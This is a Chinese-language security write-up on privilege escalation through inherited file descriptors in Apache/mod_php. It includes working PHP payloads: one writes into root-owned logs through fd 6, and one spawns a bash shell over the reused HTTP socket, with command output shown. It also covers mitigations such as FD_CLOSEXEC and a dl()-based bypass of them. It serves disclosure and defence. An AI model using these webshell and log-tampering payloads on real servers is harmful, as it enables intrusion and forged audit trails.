Linux 系统文件描述符继承带来的危害

Table of Contents

前言

在初学linux编程的时候,都会知道这样一个概念:当你用fork建立一个子进程,父进程的所有内容会被“完完整整”的复制到子进程中。子进程是父进程的一个clone体,除了pid不同,其余一切相同。 再试想一下这样的场景:在Webserver中,首先会使用root权限启动,以此打开root权限才能打开的端口、日志等文件。然后降权到普通用户,fork出一些worker进程,这些进程中再进行解析脚本、写日志、输出结果等进一步操作。

然而这里,仔细思考一下,就会发现隐含一个安全问题:子进程中既然继承了父进程的FD,那么子进程中运行的PHP或其他脚本只需要继续操作这些FD,就能够使用普通权限“越权”操作root用户才能操作的文件。

POC

为了验证这个想法,我们做了一个POC。测试环境apache2.2.4+mod_php 5.2.14 首先我们查看任意一个apache的worker进程的fd:

[root@testplat ~]# pidof httpd
11117 21009 10472
[root@testplat ~]# cd /proc/21009/fd
[root@testplat fd]# ls -alh
dr-x------ 2 root root 0 11ÔÂ 11 16:44 .
dr-xr-xr-x 4 daemon daemon 0 11ÔÂ 11 16:42 ..
lr-x------ 1 root root 64 11ÔÂ 11 16:44 0 -> /dev/null
l-wx------ 1 root root 64 11ÔÂ 11 16:44 1 -> /dev/null
l-wx------ 1 root root 64 11ÔÂ 11 16:44 2 -> /usr/local/apache2/logs/error_log
lrwx------ 1 root root 64 11ÔÂ 11 16:44 3 -> socket:[155615]
lr-x------ 1 root root 64 11ÔÂ 11 16:44 4 -> pipe:[155625]
l-wx------ 1 root root 64 11ÔÂ 11 16:44 5 -> pipe:[155625]
l-wx------ 1 root root 64 11ÔÂ 11 16:44 6 -> /usr/local/apache2/logs/error_log
l-wx------ 1 root root 64 11ÔÂ 11 16:44 7 -> /usr/local/apache2/logs/access_log
lr-x------ 1 root root 64 11ÔÂ 11 16:44 8 -> eventpoll:[166489]
[root@testplat fd]# ps aux | grep httpd
root 10472 0.0 0.0 74300 2524 ? Ss Nov11 0:04 /usr/local/apache2/bin/httpd -k start
daemon 21009 0.0 0.0 74476 4492 ? S Nov11 0:00 /usr/local/apache2/bin/httpd -k start
daemon 11117 0.0 0.0 74360 4028 ? S Nov12 0:00 /usr/local/apache2/bin/httpd -k start
root 31101 0.0 0.0 51208 456 pts/0 R+ 14:07 0:00 grep httpd

如上所示,果然在apache的子进程中保存了日志的句柄,apache自身是daemon权限,而这两个句柄则是root身份打开的。我们试试利用php fork出来一个进程是否能够继续“越权”写入此句柄。

<?php system("echo 12345 >&6");?>

访问一下,看看是不是的确将12345写入到了root的errorlog中。

[root@testplat htdocs]# tail ../logs/error_log
[Fri Nov 12 13:54:32 2010] [error] [client 172.21.153.169] request failed: error reading the headers
[Fri Nov 12 18:12:53 2010] [error] [client 172.21.153.169] request failed: error reading the headers
12345
[root@testplat htdocs]# ls -alh ../logs/error_log
-rw-r--r-- 1 root root 34M 11ÔÂ 15 14:54 ../logs/error_log

很好,写进去了。完美的证实了我们的想法。既然能够只用一个低权限的webshell就能读写web日志,那么以后所有的Web日志将不再有可靠性,任何信息都能加以伪造。当然伪造或删改日志不会如此简单,还有一些限制需要一定步骤,有心人继续研究吧。

深入利用

换一种思路,既然文件可以读写,那么webserver的80端口socket是否也能加以利用呢?linux系统所有都是文件,既然都是FD,肯定也能适用。首先找一下我们连接的FD号,我这里测试时写死为9,因为肯定是第一个连接:

<?php
system("python -c 'import pty;pty.spawn(\"/bin/bash\")' 1>&9 0>&9 2>&9 ;" );
?>

接着我们用nc访问一下我们的脚本:

C:\Users\GaRY>nc testplat 80
GET /shell.php HTTP/1.0
bash: /root/.bashrc: 权限不够
bash-3.00$ id
id
uid=2(daemon) gid=2(daemon) groups=1(bin),2(daemon),4(adm),7(lp)
bash-3.00$ exit
exit
exit
HTTP/1.1 200 OK
Date: Mon, 15 Nov 2010 07:16:25 GMT
Server: Apache/2.2.4 (Unix) PHP/5.2.14
X-Powered-By: PHP/5.2.14
Content-Length: 0
Connection: close
Content-Type: text/html

可见成功复用了我们连接服务器的socket,直接nc提交一个GET请求之后就返回了一个交互式的shell。这一切只需要一个简单的webshell即可完成。

利用80端口的socket复用,我们继续下去可以做穿墙等一系列更为猥琐的事情。

解决方案及后话

通过上文的分析,我们了解到,利用linux特性FD的继承,将会导致非常严重的越权问题。这本身就可以算作是一种类型的安全漏洞,不仅仅是apache,不仅仅是webserver,可能其他的网络应用都会存在类似的漏洞。 实际上Linux系统自身在设计时也考虑到了这一类安全问题。系统给出的解决方案是:close_on_exec。当父进程打开文件时,只需要应用程序设置FD_CLOSEXEC标志位,则当fork后exec其他程序的时候,内核自动会将其继承的父进程FD关闭。

这样就解决了以上说明的问题,因为当你system其他进程时,所有的fd将不再继承,则无法再利用。而你作为较低权限的进程,也无法自己打开这些文件,所有操作都会报告权限不足。

在撰写此文时,发现Apache已经意识到了此安全问题,并在最近的版本中修复了,对所有打开的FD都加入了FD_CLOSEXEC标识符。参见:https://issues.apache.org/bugzilla/show_bug.cgi?id=46425 但是(是的,还有但是),这个解决方案并不完美。内核认为,只有你在fork后再执行exec调用时,才会帮你去除这些继承的FD,而如果我一切操作都在exec之前完成,那所有的保护都将是浮云。如何做到这一切?如果php自身是通过mod_php加载入apache自身的进程空间,而通过PHP的ld函数,又可以加载一个动态链接库进入本进程上下文。这样,由于没有进行exec,因此fd依旧继承,在so中写入代码操作FD,同样可以读写修改日志文件,或者复用socket。

那如何完美的解决此问题呢?我想除非只有apache修改自身架构,子进程和主进程交互,告知每次访问的结果和数据,主进程负责写日志和输出结果。这样无需在子进程中留下任何文件句柄,单单负责脚本解析即可。子进程交给主进程的信息可能是假的,然而这样至少不能影响到之前的信息。

EMail: wofeiwo#80sec.com
Date: 2010-11-20

title: Linux 系统文件描述符继承带来的危害
date: 2013-06-12 14:19
author: wofeiwo
site: 帐号、业务安全|岂安